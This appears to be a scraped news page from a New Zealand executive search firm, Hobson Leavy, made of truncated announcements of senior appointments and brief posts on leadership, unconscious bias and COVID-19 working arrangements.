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  Thanks to Stephen Bampfylde and Augusta Bunting from Saxton Bampfylde in London for joining us at our Virtual Board Director forum last Friday.  Saxton Bampfylde is one of the Panorama  partners and founder of leading UK search firm Saxton Bampfylde. Stephen was also instrumental in the establishment of the worldwide professional association AESC in Europe, of which Hobson Leavy is proud to be a part of. Their insights …

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Are Zoom calls draining your energy?  Candidates and clients are finding zoom calls exhausting. This article suggests being on a video call requires more focus than a face-to-face chat. Video chats mean we need to work harder to process non-verbal cues like facial expressions, the tone and pitch of the voice, and body language; paying more attention to these consumes a lot of energy. “Our minds are together when our …

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An Introduction  Given the current level of uncertainty, making senior appointments for investment purposes can be seen either as a brave or perhaps even a foolhardy decision, but what of strategic gaps in leadership that require immediate attention – notably at Chair, Board, Chief Executive or senior management level? The opportunity cost of waiting until the current situation is over may be too high. Consequently, Nomination Committees and senior selection …

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  At the beginning of March, Hobson Leavy received unconscious bias training with Helene Deschamps from Diversity Works. This training explored the role of unconscious bias in the Executive Search space and how we can reduce its impact on our search processes.   In relation to the unconscious bias training, one of the articles included as part of our thought leadership this month is “The Key to Inclusive Leadership” …

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  This recent article on the HR profession discusses just how critical Chief People Officers are right now, with new expectations arising. It highlights the role of the Human Resources function in the current COVID-19 pandemic; a function which has often been unfairly dismissed as soft. According to the author, never before have more firms needed a hard-headed HR boss as they strive to keep employees healthy, maintain their …

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Now more than ever before companies are facing some of the most significant challenges they have ever encountered. The hard commercial realities of today’s unprecedented times mean that tough decisions are having to be made and often these mean huge consequences for a business’s most valuable assets – its people.   Here at Hobson Leavy we can assist businesses to help those senior executives who are impacted by this new …

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You know Hobson Leavy as an executive search company that passionately believes Leaders Matter. Hobson Leavy has been identifying, evaluating and appointing senior executives in the New Zealand market for the last fourteen years and this gives us unparalleled access to top senior talent across all functional areas and for both permanent and interim positions.   In these unprecedented times we have been approached by a range of senior executives …

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Hobson Leavy is pleased to announce the recent appointment of Kath Clark as Group General Manager People & Culture for Plant & Food Research.   Kath Clarke has 25 years’ experience in senior roles with universities and professional services firms in New Zealand, Canada and the UK. After working for 15 years with firms including Coopers & Lybrand and PriceWaterhouseCoopers in Auckland and Toronto, Ms Clarke spent 2004 to 2012 …

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Hobson Leavy is pleased to announce the appointment of Adrian Walker as an Independent Director for Investore Property Limited.   Adrian’s appointment follows an extensive search for a director with suitable skills to add to the current Investore Board skill set. Adrian will be the third independent director of Investore, following the resignation of Director Kate Healy in 2019. Having majority independent director representation on the Board is an important …

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Hobson Leavy is pleased to announce the appointment of Karen Jones as General Manager Engagement & Partnerships for the NZ Transport Agency.   Karen will be leading the community engagement, government relations, advertising, communications, and partnerships teams.   Congratulations!    

Hobson Leavy is pleased to announce the appointment of Ryan Bacher as Chief Operating Officer for Craigs Investment Partners.   Ryan is an internationally experienced financial services professional and has moved to New Zealand from London, where he had been working for Barclays International as the Regional Chief Operating Officer across the Asia Pacific, Europe and Middle East Operations.   Congratulations Ryan.

You know us as an executive search company that passionately believes Leaders Matter. We’ve been identifying, evaluating and appointing senior executives in the New Zealand market for the last fourteen years and this gives us unparalleled access to top senior talent across all functional areas and for both permanent and interim positions.   In these unprecedented times we have been approached by a range of senior executives who are currently …

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Dear clients and friends of Hobson Leavy   As you will all be aware, yesterday saw the Government’s implementation of a level 4 alert status in response to the spread of Covid-19.  Hobson Leavy has been planning our transition to working from home and in light of the rapidly changing circumstances over the last few days, will be operating a mandatory working from home policy for all our team members …

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Hobson Leavy is pleased to announce the appointment of Stuart Tabuteau as Chief Financial Officer for CHT Healthcare Trust.   Stuart is an experienced Chief Financial Officer with some twenty five years of finance experience. He is a former Chief Financial Officer of Kiwi Property.   Congratulations Stuart!

Hobson Leavy is pleased to announce the appointment of Mark Lockhart as Deputy Chief Risk Officer for Heartland Bank.   Mark has extensive experience in the financial services sector and a very strong risk management background. Over the past 25 years Mark has managed risk functions and has led at an executive team level at UDC for over ten years.   Mark will be joining Heartland Bank at the end …

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Hobson Leavy is thrilled to announce the appointment of Nilesh Mistry as Chief Operating Officer for Fisher Funds.   Originally from Wellington, Nilesh will move from his current Singapore-based role as Asia-Pacific head of specialist IT firm, World Wide Technology (WWT).   Prior to WWT, Nilesh spent 10 years in senior technology positions for JP Morgan in Singapore and New York, where he most recently was chief technology officer in …

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Hobson Leavy is pleased to announce the appointment of Paul Reid as Chief Executive Officer for Mimomax.   With over 25 years of experience in radio communications, Paul brings to this role an in-depth understanding of wireless communications.   Paul’s interest in advanced communication technologies led him to join Mimomax as the Principal RF Engineer – a role which gained him valuable product and local market expertise.   Based in Houston …

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  For many of our clients, international reach is critical.   Hobson Leavy as members of Panorama, the global network of partners that together form an exclusive alliance of leading independent executive search firms, is thrilled to announce the addition of Phelps Executive Search, a leading executive search firm based in Toronto Canada expanding our already strong Canadian reach.   In our daily practice, we see an evolving leadership …

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Appointing a new member of the senior leadership team or board can be a challenging and disruptive time for any organisation. Situations that require multiple appointments can be even riskier. Fortunately, search firms can make this process smoother helping to select candidates that have complementary skills to each other and the existing team. The article below, from our London based partner Saxton Bampfylde, explores how to ensure that additions …

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Hobson Leavy is pleased to announce the appointment of Simon Bunt as Chief Operating Officer for MTA.   MTA is the hub of New Zealand’s automotive industry, making a positive contribution to motoring for over 100 years.   Simon Bunt is a CA qualified, commercial and strategic Project Manager. He has built and managed Project Management Offices and delivered on several significant strategic programmes and projects across a range of …

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Hobson Leavy is pleased to announce the appointment of Parekawhia McLean as Non – Executive Director for Gas Industry Company.   Parekawhia has over 20 years of public policy and public sector management experience, including with the Department of Prime Minister and Cabinet.  She is currently the Chair of Te Whakakitenga o Waikato – the governing body of Waikato Tainui, and a Director of Sport Waikato.  Parekawhia has held numerous …

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  Hobson Leavy are proud members of the Association of Executive Search and Leadership Consultants (AESC). AESC members must meet rigorous standards and commit to an exemplary code of conduct. AESC produced the article below, which is incredibly useful for organisations considering partnering with an Executive Search firm. Choosing an Executive Search firm is an important decision which should never be taken lightly. The guide below helps to contrast …

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Hobson Leavy’s core ethos is ‘’Leaders Matter”. This understanding of the importance of having the right leader in an organisation is a driving force behind what we do. Our team is highly trained in spotting all the elements that make an individual a good leader. However, it is not often that the definition of leadership within an organisation and the effect of that definition on talented future leaders is …

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Hobson Leavy is pleased to announce the appointment of Matthew Clark as Chief Medical Officer for Southern Cross Hospitals.   Southern Cross Hospitals proudly delivers high-quality patient-centred healthcare to 78,000 New Zealanders each year. As Chief Medical Officer, Matthew is the interface between the hospitals, practitioners, and the wider medical community. His remit includes guiding quality initiatives, acting as a champion for safety and best practice, and exploring new …

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  Hobson Leavy is pleased to announce the appointment of Tony Clifford as Managing Director for Pan Pac, effective February 1st. Pan Pac Forest Products Limited (Pan Pac) was established in 1971 as a joint venture between Carter Consolidated (the predecessor of Carter Holt Harvey Limited), Oji Paper Company Limited and Kokusaku Pulp Company Limited.   Pan Pac Chief Executive Doug Ducker has stepped down after 45 years with the …

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  Hobson Leavy is proud to have managed the Future Director appointment for Kordia. Nicola Mitchell is a digital and customer expert with a passion for technology start-ups and scale-ups having spent 20 years working in the start-up ecosystem primarily in the UK. Nicola enjoys translating between the worlds of development, data analytics, marketing and commercial functions.   Congratulations Nicola! 

Hobson Leavy is pleased to announce the appointment of Tim Glatt as General Manager, Northern for Harcourts New Zealand. Tim has an extensive background in driving sales teams and business performance. Much of this experience has been gained working with SME businesses both in New Zealand and offshore.   Congratulations Tim.

  Hobson Leavy is delighted to announce the appointment of Matthew Walker as General Manager Corporate Support for the NZ Transport Agency.   Group Chief Financial Officer Matthew Walker has resigned and will leave Auckland Council at Easter to take up the executive role in Wellington. In his new role, Mr Walker will be responsible for a similar portfolio to his current one.   Chief Executive Stephen Town says, …

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Hobson Leavy are pleased to announce the appointment of Toni Laming as Executive Director Business Units for Auckland UniServices.   Toni’s career has spanned agriculture, food and beverage, commodities, resources and consulting through a range of senior leadership positions at leading global organisations including Fonterra, Orica, Fletcher Building, Unilever and KPMG. She has deep experience working across the full customer value chain and complex stakeholders to understand and align needs. …

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Hobson Leavy is pleased to announce the appointment of Antonia Watson as Chief Executive Officer of ANZ NZ.   Ms Watson will also be a Director of ANZ NZ.   Ms Watson, who has received a non-objection from the Reserve Bank of New Zealand, has been ANZ NZ’s Acting CEO since May. As ANZ NZ CEO she will sit on ANZ Banking Group‘s Executive Committee and will also have …

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Hobson Leavy are pleased to announce the appointment of Sarah Minhinnick as Head of Issuer Relationships for NZX.   Sarah joins NZX from Bank of New Zealand, where she is Director of Capital Markets, and in her new role will spearhead a core strategic focus on attracting new listings and supporting current listed companies accessing New Zealand’s equity, debt and funds markets.   NZX Chief Executive, Mark Peterson, says Sarah …

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Hobson Leavy is pleased to announce the appointment of Meng Cheong as new Chief Executive Officer for Healthvision.   Meng has a Bachelor of Economics, majoring in Accounting, from La Trobe University in Melbourne, as well as a Master of Business Administration from the University of Auckland. Meng has enjoyed more than 20 years experience in the New Zealand health sector in a variety of roles encompassing finance, strategy, business …

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Hobson Leavy are pleased to announce the appointment of Kathryn McKinney as a Partner in the Employment team.   Kathryn has over twenty years’ employment law experience gained at top-tier firms in New Zealand and the United Kingdom. Kathryn’s expertise covers the employment aspects of large scale mergers and acquisitions, advice on employment disputes and Holidays Act compliance, as well as executive employment remuneration and high value terminations and exit …

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Hobson Leavy is pleased to announce the appointment of Peter Tuck as General Manager of Development for Tainui Group Holdings.   Peter Tuck is one of New Zealand’s most experienced development professionals and TGH Chief Executive Chris Joblin says the appointment recognises the growth that Tainui Group Holdings expects over the coming years and reflects growing confidence in the Waikato region.   “Peter is a very strong addition to our …

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Erica Orange is Executive Vice President and Chief Operating Officer at The Future Hunters, one of the world’s leading futurist consulting firms and in this article she speaks to AESC about current trends and how they are shaping our future.   The Future Hunters discuss how “No trend can be adequately explained without putting it in the context of the pace of change”. They call this ‘templosion’ which is …

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  A recent international study has looked at why some people are more successful than others at work. A survey of more than 500 business leaders chose “personality” as the leading reason – more than cultural fit and even an employee’s skills. However, this article discusses the fact that when leaders describe “personality” they often don’t actually understand what they are referring to and often commonly mislabel EQ as …

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Unconscious bias has never been under the spotlight more than it is currently. Finding ways to identify and then ‘fix’ this type of bias are significant issues to explore. Unconscious decision making has been important in the survival and evolution of our species. It is based on what feels safe to us in certain situations. A number of factors contribute to our view of the world and make us …

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  Hobson Leavy are pleased to announce the appointment of Deborah Rowe as Associate Professor – Head of Nursing for Manukau Institute of Technology.   Deborah is a highly qualified health professional with clinical experience, strong leadership, a passion for teaching and genuine commitment for the betterment of the nursing environment.   Deborah graduated with a Diploma in Nursing in 1991, she then went on to complete a Bachelor …

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Hobson Leavy are pleased to announce the appointment of Greg Murison as Executive Director Strategic Growth for Auckland UniServices.   Greg Murison is a former scientist with an extensive track record in both scientific leadership and the commercialisation of scientific research. Greg has for the last eight years been a member of the executive team of New Zealand’s largest Crown Research Institute, AgResearch Limited.   Congratulations Greg.

Mark Corboy has been appointed Chief Information Officer for Altus following an executive search.   As Chief Information Officer, Mark will be accountable for the technology, strategy implementation and IT service delivery within the Altus business. Altus is a 50:50 joint venture organisation formed in late 2016 through the union of Fletcher Aluminium and NALCO. With a rich history of providing market leading innovations and business systems for the construction …

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  Hobson Leavy are pleased to announce the appointment of Becky Lloyd as Chief Executive Officer for Toitū Envirocare (formerly Enviro-Mark Solutions).   Lloyd starts in the role on November 25, and takes over from Dr Ann Smith. Smith, who has led the company since 2013, will continue to be involved as a special adviser to the new chief executive.   Chair Dr Paul Reynolds says Lloyd’s strong commercial …

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Hobson Leavy are pleased to announce the appointment of Sean Kelly as Chief Executive Officer for Smartfoods.   Sean Kelly began his career as an Accountant but for the last four years has been a Chief Executive Officer, having moved out of the CFO role and into the CEO role at Hubbard Foods in 2015. Since the acquisition of Hubbards by the Hart Family in 2018, Sean has been the …

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On Monday evening Hobson Leavy hosted a Women in Leadership panel event at the The Northern Club based around research undertaken by Partner, Nicola Mirza. Thank you so much to the panellists, Pip Greenwood, Angela Bull, Shelley Katae and Paula ter Brake for the honest, thought provoking and inspiring conversation.   “Success is knowing I have made a difference for young women, being a mentor and role model. Being the mentor I would have liked to have. There are …

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Fiona McCrostie recently joined Hobson Leavy as its newest Senior Consultant. Fiona brings over twenty years’ experience working for both generalist and specialist HR consultancies.   Beginning her career as a Solicitor in New Zealand, she subsequently spent a number of years working in the UK before moving into search on her return to New Zealand. She has been responsible for the appointment of a significant number of senior executive …

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Hobson Leavy are pleased to announce the appointment of Ian Yates as Operations Manager for Taura Natural Ingredients.   Ian is an experienced production, management leader having spent some 30 years in the food and chemicals industry. He began his career after completing a Bachelor of Technology and Food Technology at Massey University with the New Zealand Dairy Group in their graduate training programme. During this period he worked in …

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Hobson Leavy are pleased to announce the appointment of Jennifer McGowan as Chief People & Culture Officer for Jarden.   Jennifer is a New Zealander who has been working offshore for almost ten years. She is well qualified with a Masters of Arts (Honours) in Industrial Organisational Psychology from Massey University. Following her Masters, Jennifer also undertook a Post Graduate Diploma in Industrial Organisational Psychology, from Massey University.   She …

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Hobson Leavy is pleased to announce Andrea Black has been appointed as the agritech and herd improvement cooperative’s new Chief Information Officer.   Andrea will join LIC from Genesis Energy, where she is currently GM Digital Solutions, leading a team of 60. She is also a key member of the technology leadership team for the wider Genesis group.   Prior to this she worked at Gen-I, part of Spark NZ, …

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Hobson Leavy are pleased to announce the appointment of David Flacks as Chair of the Suncorp New Zealand Boards.   Mr Flacks replaces Geoff Ricketts, who is retiring as chair after a significant period of involvement with Suncorp companies in Australia and New Zealand, including Chair of Vero Insurance, Vero Liability, and Asteron Life in New Zealand. Mr Ricketts will remain on the boards as a non-executive director until the …

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Hobson Leavy are pleased to announce the appointment of Tracey Lonergan as Chief Claims Officer for Partners Life.   Tracey has had a very successful career with significant achievements at Sovereign, Asteron and most recently in her role as Head of Claims at AIA.   “We are investing heavily in our claims systems and processes as part of our continuous improvement program in this critical area. We are embarking on …

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Hobson Leavy are pleased to announce the executive appointment of Roxanne Salton as Chief Digital Officer for Southern Cross Health Society.   Salton is a digital and ICT leader with experience in the telco, energy and banking sectors, and a broad background across sales, product and strategy. She will take up the position following her previous role as head of digital strategy and delivery at Mercury NZ. Salton has more than …

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Hobson Leavy are pleased to announce the appointment of Carl Stent as Health and Safety Manager for Timberlands Limited.   Carl is an experienced leader and manager with a strong background in general management, health and safety, employee well being and risk management. Carl’s journey with health and safety started with community work. What started out as a concern for unemployed youth and persons with disabilities led to workers compensation …

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Hobson Leavy are pleased to announce the appointment of Chris Lokum as General Manager People for NZTA.   Chris is a strategic and commercial senior human resources generalist with over 25 years as a business-focused professional and leader. She has a track record achieving organisational change, growth in organisational capability and providing strategic leadership. Chris has extensive experience in talent management, diversity and inclusion, reward and performance management, restructuring, learning …

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Hobson Leavy is pleased to announce the appoinment of Mark Wilshire as Executive General Manager Customer Experience for Suncorp New Zealand.   Wilkshire will be responsible for the delivery of Suncorp’s customer strategy across its New Zealand brands, Vero Insurance and Asteron Life. He replaces Campbell Mitchell, who is now executive general manager, claims.     Suncorp New Zealand acting chief executive Adam Heath said Wilkshire brought a strong track record of …

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Hobson Leavy is pleased to announce the appointment of Fiona Brown as Chief Legal Officer for Southern Cross Health Society.   Brown is a legal and compliance senior executive with experience across a range of legal, governance, commercial and risk management roles. She takes up the position following her previous role as General Counsel and Company Secretary at Kiwibank, where she led an industry-recognised team providing legal risk management and …

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Hobson Leavy is pleased to announce the appointment of Ronald Mudaliar as Chief Underwriting Officer for Tower Insurance.   Ronald Mudaliar is an insurance professional with considerable insurance experience both in New Zealand and in the international markets, across transactional underwriting, portfolio management and pricing. He has spent a large part of his career in a variety of senior leadership roles and offers significant operational and strategic experience.   Please …

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Hobson Leavy is pleased to announce the appointment of Lyndon Drake as Non – Executive Director for Auckland City Mission.   Lyndon Drake is an Anglican Minister in the Te Tai Tokelau diocese where he oversees six South Auckland churches. He is of Ngai Tahu descent. Lyndon is a former Vice President of Barclays Capital in London. He has a broad knowledge of capital market practice and conduct and specialist …

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Hobson Leavy is pleased to announce the appointment of Linley Wood as Non – Executive Director for Auckland City Mission.   Linley has extensive senior management experience having held executive leadership roles at the ASB for the past 25 years. She has strong legal and financial expertise and is passionate about building organisational culture. Her governance work has included a heavy focus on education and literature, youth and families, creating …

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Hobson Leavy is pleased to announce Renee Mateparae as the company’s latest participant in the Future Director programme, continuing the Group’s commitment to supporting the next generation of governance talent in New Zealand.   Ms Mateparae is currently the Tribe Lead for Future Connectivity at Spark New Zealand, taking a lead role in looking for future connectivity including Mobile, Internet of Things, marketplaces, 5G and the technology and productisation of …

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Hobson Leavy is pleased to announce the appointment of Cath Lomax as Chief Client Officer for Fisher Funds.   Cath is a highly-motivated senior leader and culture champion with extensive experience within the financial services industry. Cath has proven expertise in forming and fostering successful, engaged and accountable teams which aim to consistently deliver exceptional customer experiences.   Cath joins Fisher Funds following six years with BNZ where she most …

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Hobson Leavy are excited to be a sponsor of the Deloitte Top 200, New Zealand’s premium business awards.   We chose to sponsor Chairperson of the year because we see it as being aligned with our purpose, which is ‘Leaders Matter’. It is important for an organisation to have a top performing Chair as leadership comes from the top. The Chair sets the culture, the conduct and the tone, which then influences …

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Hobson Leavy is pleased to announce the appointment of Melanie Dooney as Chief People Officer for Auckland District Health Board (ADHB).   Melanie has 20 years’ experience working internationally in a wide variety of sectors and disciplines.  She has held senior Human Resources and Finance roles at global multinational companies in both the IT and financial services sectors, including Commonwealth Banking Group, NCR Corporation and more recently with Fisher & …

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Hobson Leavy is pleased to announce the appointment of Sir Anand Satyanand as Chancellor of the University of Waikato. Sir Anand was yesterday appointed for a part-time governance and ceremonial role over a four-year term.   Sir Anand is a former Lawyer, Judge and Ombudsman who served as the 19th Governor-General of New Zealand from 2006 to 2011.   Following from a career in law, Anand was appointed as a …

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Hobson Leavy is pleased to announce the appointment of Paul Blair as Chief Executive of Infrastructure New Zealand.   Paul is a seasoned senior banking executive with over 24 years’ experience. For the past decade he has managed large institutional clients within the infrastructure sector both in Australia and New Zealand.   Infrastructure New Zealand Chair Andrew Stevens announced that former BNZ General Manager of Institutional Banking Paul Blair will …

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Hobson Leavy is pleased to announce the appointment of Jane Hardy as the General Manager Claims and Operations with Tower.   Jane joined Tower during a period of change in early 2019. Her previous experience has been delivering customer experience and digital transformations across large service organisations and government agencies. During her nine years at ACC, Jane led operational teams responsible for thousands of customers interactions weekly and led strategic …

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Hobson Leavy is pleased to announce the appointment of Nick Jacobson as an independent Director for Stride Property.   Nick has extensive international real estate advisory and capital markets experience, gained primarily with some of the world’s leading investment banks. He is currently Managing Director at CapStra (formerly Pepper Property) in Sydney, Australia, and was previously Managing Director and Head of Investment Banking Services at Goldman Sachs in Sydney, and …

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Karen Greenbaum is a Forbes Counsel Member and President and CEO of the Global Association of Executive Search and Leadership Consultants (AESC).   Executive Search firms are specialised management consultancies that are retained by a client on an exclusive basis in an advisory capacity. An executive search consulting firm partners with a client to identify, assess and select the very best possible candidate. It is the experience and reputation of …

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McKinsey and Company have recently published an interesting article around Three Keys to Faster, Better Decision Making. It follows on from an article written about the fact that more data, better analytics and clearer understanding of how to mitigate cognitive biases mean that it is a “great time to be a decision maker but it was also one of the worst times because organisational dynamics and digital decision-making dysfunctions are …

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Hobson Leavy was delighted to be a Silver Sponsor at this year’s very successful Auckland Writers Festival. The Auckland Writers Festival broke its previous attendance record with more than 82,000 seats filled across seven days of conversations and performances throughout the city centre. The Festival, which has seen year on year growth in the last eight years, hosted 230 of New Zealand’s and the World’s Best Novelists, Play Writers, Song …

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Hobson Leavy is pleased to announce the appointment of John Melo as Chief Financial Officer for Brix & Co.   Brix & Co is a leading contract manufacturer in New Zealand, producing quality beverages for both global and local brands. It also markets its own line of beverages and operates its premium hospitality businesses under the brand The Hunting Lodge.    John is a seasoned finance and planning executive, with …

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Hobson Leavy is pleased to announce the appointment of Andrew Young as Chief Executive Officer of the Cancer Society Auckland and Northland.   Andrew Young is a highly experienced not-for-profit CEO with particular strengths in the fundraising area.   Andrew was the CEO of the Well Foundation, where he would appear to have done an extremely good job combining two entities to create the organisation and lead it to success. …

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Hobson Leavy is pleased to announce the appointment of Sarah Gillies as General Manager Legal, Ministerial and Compliance for The Electricity Authority.   Sarah leads the Authority’s Legal and Compliance Teams and is responsible for Ministerial engagement.   The legal team provides in-house legal services for the Authority, while the compliance team is responsible for monitoring, investigating and enforcing compliance with the Code, the Electricity Industry Act and various regulations. …

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Hobson Leavy is pleased to announce the appointment of Clive Nelson as Chief Executive Officer of the Heart Foundation.   Clive is an experienced leader of people who will bring experience in healthcare, established networks and a track record of partnership, collaboration and innovation to New Zealand’s heart health charity.   “The Board are delighted to be able to appoint Clive to lead the Heart Foundation. We were determined to …

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Hobson Leavy is pleased to announce the appointment of Hennie Burger to the role of General Manager Banking Products & Merchant Business Solutions at the ANZ.   He has over 25 years banking and leadership experience in New Zealand and South Africa. Prior to taking on the General Manager Banking Products & Merchant Business Solutions role he was responsible for leading ANZ’s retail and business banking first line support as …

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Hobson Leavy is pleased to announce the appointment of Trevor Delany as Chief Digital Officer for Southern Cross Hospitals.   Trevor is a senior technology leader who has eight years’ experience in hands on technology leadership roles with both BP and Icebreaker. Prior to this he had 15 years’ experience consulting with Deloitte including five years as Manager of the Business Technology Services. Trevor is qualified with a Bachelor of …

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Hobson Leavy is pleased to announce the appointment of Kellie O’Sullivan as General Manager People and Culture for First Gas.   Kellie was previously the General Manager, People and Performance for the Ministry of Justice, responsible for leading approximately 4000 staff across New Zealand. Prior to taking up that role, Kellie has an extensive background in the HR function of a number of large organisations in both the public and …

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Hobson Leavy is pleased to announce the appointment of Rob Bernau as General Manager Market Design for The Electricity Authority.   Rob is an experienced senior executive who has deep regulatory experience across a number of sectors including electricity lines, gas pipelines, and major airports, as well as the dairy industry. He is qualified with a Bachelor of Laws with First Class Honours from the University of Otago.   Please …

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Hobson Leavy is pleased to announce the appointment of Mel Cadman as Chief Customer Officer for New Zealand Home Loans.   Mel is a skilled senior executive leader with the proven ability to successfully lead and operate across a number of fast paced industries. Mel has held senior leadership roles across a number of organisations including BNZ, NZ Post and more recently, Heartland Bank. Mel has a strong desire to …

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Hobson Leavy is pleased to announce the appointment of Geoff Lawrie as Non-Executive Director for Obex Medical and Plan B.   Geoff  is a highly experienced technology sector senior executive, who has now moved into the governance space. Geoff was for five years the Managing Director of Microsoft in New Zealand before becoming the New Zealand Country Manager for Cisco Systems in New Zealand. Geoff has extensive experience and networks …

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Hobson Leavy is pleased to announce the appointment of John Hanna as Chief Executive Officer for UltraFast Fibre.   John will replace William Hamilton who retired in September 2018.   UltraFast Fibre has secured John who is “a highly experienced New Zealand Chief Executive with a strong track record in the technology sector. John was the CEO of Network for Learning from 2012 – 2017, the CEO of Maxnet from …

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Hobson Leavy is pleased to announce the appointment of Paul Blue as General Manager Network for Counties Power.   Paul is currently General Manager Asset Management for WEL Networks, a role he has held since 2015. Counties Power Chief Executive Judy Nicholl says Mr Blue brings the valuable combination of leadership, asset management and technology to the business. “Paul has more than 20 years’ experience in the utilities and industrial …

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Hobson Leavy is pleased to announce the appointment of Rhys Clark as the Chief Financial Officer of the Abano Healthcare Group.   Rhys is an experienced CFO who brings broad capability to the role. His most recent roles include CFO for City Rail Link, CFO of Fisher & Paykel Finance and Finance Director at Crown Fibre Holdings. His previous roles included responsibility for the corporate finance functions, implementation of shared …

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Carrie Hobson and Stephen Leavy are delighted to announce that Nicola Mirza has joined the Partnership of Hobson Leavy effective from 1 April 2019.   Nicola Mirza is an internationally experienced executive search specialist having spent the last decade of her career in the executive search field.  Prior to this, Nicola was a solicitor at Russell McVeagh in Auckland and then in London, at British Sky Broadcasting Ltd. In 2006, …

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Hobson Leavy is pleased to announce the appointment of Mark Todd as Chair of the Financial Markets Authority (FMA).   Mark Todd has been a member of FMA Board since 2015. He has more than 20 years’ experience in financial markets regulation, and has held governance roles with both listed and unlisted companies. During 15 years as a Legal Partner at Bell Gully, Mark was one of New Zealand’s leading …

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Hobson Leavy is pleased to announce the appointment of Anna Rawlings as the Chair of the Commerce Commission.   Anna has been a member of the Commerce Commission since 2014. She has been involved in a range of Commission work over this period, including mergers and enforcement decisions under the Commerce Act, consumer matters under the Fair Trading Act and Credit Contracts and Consumer Finance Act, and some involvement in aspects …

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Hobson Leavy is pleased to announce the appointment of Julian Lonsdale as Chief Technology Officer for WEL Networks.   Julian is a highly capable leader with extensive experience in technology transformation and integration in the telecommunications and consulting sectors. He has worked in large complex organisations both internationally and in New Zealand including SkyCity, Spark, IBM, CSC and Nortel Networks. Julian is excited about moving to Hamilton with his family …

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Hobson Leavy is pleased to announce the appointment of Catherine Drayton as a Non-Executive Director for Genesis Energy.   Catherine is a professional company director with extensive Board experience. She is the Chair of Christchurch International Airport Limited and currently serves on the boards of a number of entities including Beca Group Limited, Southern Cross Medical Care Society, Southern Cross Hospitals Limited and the Guardians of New Zealand Superannuation. She …

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Hobson Leavy is pleased to announce the appointment of Jacqueline Robertson as an Independent Director for Stride Property Group (Stride).   Jacqueline has 25 years of experience in financial audit and advisory services. Jacqueline was a partner at Deloitte for 11 years in audit and assurance and also led the Corporate Responsibility and Sustainability services function for Deloitte New Zealand for nine years. Based in Wellington, Jacqueline also has a broad …

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Hobson Leavy is pleased to announce the appointment of Ross Mitchell to the role of Director, Investment Banking for First NZ Capital (FNZC).   Ross brings 15 years’ experience in financial services and investment banking. He comes to the role following six years with Canaccord Genuity Limited in London where he was a Director in the UK Investment Banking division. Prior to this he spent three years as Vice President in …

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Hobson Leavy is pleased to announce the appointment of Annie Dundas to the role of General Manager Tourism for Ngāti Whātua Ōrākei Whai Rawa Limited (Whai Rawa).   Currently General Manager of Hawke’s Bay Tourism, Annie brings with her a wealth of experience in developing and leading tourism growth, following over 23 years’ experience in the tourism industry.   Prior to Hawke’s Bay Tourism, Annie spent 15 years at Tourism …

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Hobson Leavy is pleased to announce the appointment of Phil Wiltshire to the role of Chief Financial Officer for Airwork Group, a specialist aviation provider with a unique capability to provide full turnkey aviation services from engineering and heavy maintenance through to operations of aircraft ranging from Boeing 737-300s to light turbine helicopters.   Phil joins Airwork following a 20 year career in large FMCG organisations within New Zealand. Most …

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The drive for companies to digitalise and reimagine the future through new business models requires companies to create innovative cultures. There is nothing new here, it has long been recognised that companies must innovate to remain competitive in a fast changing environment. This article discusses the complexities of creating innovative cultures and provides clues as to the rare combination required in leaders who will shape these cultures – tolerance for …

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A recent Harvard study found that more than two thirds of companies reported feeling the need to revamp their middle manager development programs. Many CEOs often report the lack of leadership capability in their middle management. This article from Fast Company advocates for investing in leaders in their early career development, using technology advances to avoid time barriers and burn out in middle managers, equipping managers with a leadership mind-set …

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The top emerging risk for organisations is accessing enough of the right talent to grow their businesses. Companies are experiencing the challenges of the most competitive candidate market in history accelerated by the three forces of globalisation, demographics and pipelines. The pace of globalisation is faster than any of us have experienced and this is impacting a change in the global workforce. This includes companies in developing markets such as …

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Hobson Leavy is pleased to announce the appointment of Kane Patena to the role of General Manager Regulatory for the New Zealand Transport Agency (NZTA).   Kane has extensive regulatory compliance experience in both the public and private sector. He has a proven track record of improving the compliance teams that he has led and was previously awarded New Zealand Compliance Practitioner of the Year.   Kane joins NZTA following …

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Hobson Leavy is pleased to announce the appointment of Greg Lazzaro as General Manager Workplace Health & Safety for the New Zealand Transport Agency (NZTA), where he will be leading the Safety, Health & Environment group for the organisation, with responsibility for workplace health and safety, road safety and the Agency’s environmental response.   Greg has extensive experience in Health, Safety and Environment, having held a number of Senior Executive positions. …

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Hobson Leavy is pleased to announce the appointment of Mike Allen as an Independent Director for Abano Healthcare Group.   Mike is an experienced director with a background in investment banking and general management in New Zealand, Australia and the United Kingdom. He is currently a director on several New Zealand and international companies including chair of Investore Property, and director for Tainui Group Holdings, China Construction Bank and Johnston’s …

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Hobson Leavy is pleased to announce the appointment of Karen Shields to the role of General Manager Quality Assurance & Professional Learning for Evolve Education Group, a champion of early childhood education (ECE) as a vocation in New Zealand and at the forefront of high-quality childcare.   Karen has an extensive career in the ECE sector. She was most recently Chief Executive Officer for Counties Manukau Kindergarten Association, after joining …

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Hobson Leavy is pleased to announce the appointment of Michael Hindmarsh to the role of Chief Financial Officer for Smiths City Group.   Michael has extensive experience in retail, following a 16 year career with Hallenstein Glassons Holdings. Initially joining Hallensteins in 2000 as Company Accountant, in 2011 he progressed to Group Financial Controller and Company Secretary for Hallenstein Glassons, as part of the senior leadership team. Since 2017, Michael …

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Hobson Leavy is pleased to announce the appointment of Nisha Clark to the role of Head of Technology for Downer NZ.   Nisha is currently Head of ICT at Mercury NZ. She joined Mercury over two years ago from Vodafone, where her last role was Head of Application Design and Delivery, prior to which she was Manager – IT Applications and Operations for TOWER. Her earlier career includes roles with HP and …

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Hobson Leavy is pleased to announce the appointment of Dean Butchers to the role of New Zealand Country Head & Sales Leader for Glory Global Solutions, a global leader in cash technology solutions.   Dean is an experienced business manager with a depth of knowledge across a wide range of businesses. He brings strong sales management and commercial experience to the role having previously been Country Manager for OfficeMax.  Prior …

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Hobson Leavy is pleased to announce the appointment of Scott Dawson to the role of National Operations Manager for Smiths City Group.   Scott has extensive experience in the NZ retail sector, having spent the last 15+ years in senior operational roles with The Warehouse Group. Most recently, Scott was Regional Manager for The Warehouse & The Warehouse Stationery, with overall responsibility for all operational performance aspects of 13 stores. Prior …

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Hobson Leavy is pleased to announce the appointment of Kurt Uttinger to the role of Senior Engineer for S&L Consultants. Kurt brings 15 years of experience in civil construction. For the past three years he has been a Project Engineer for HEB Construction, working on major projects such as the Huntly section of the Waikato Expressway & the Tauranga Eastern Link. Kurt started his engineering career at Downer as …

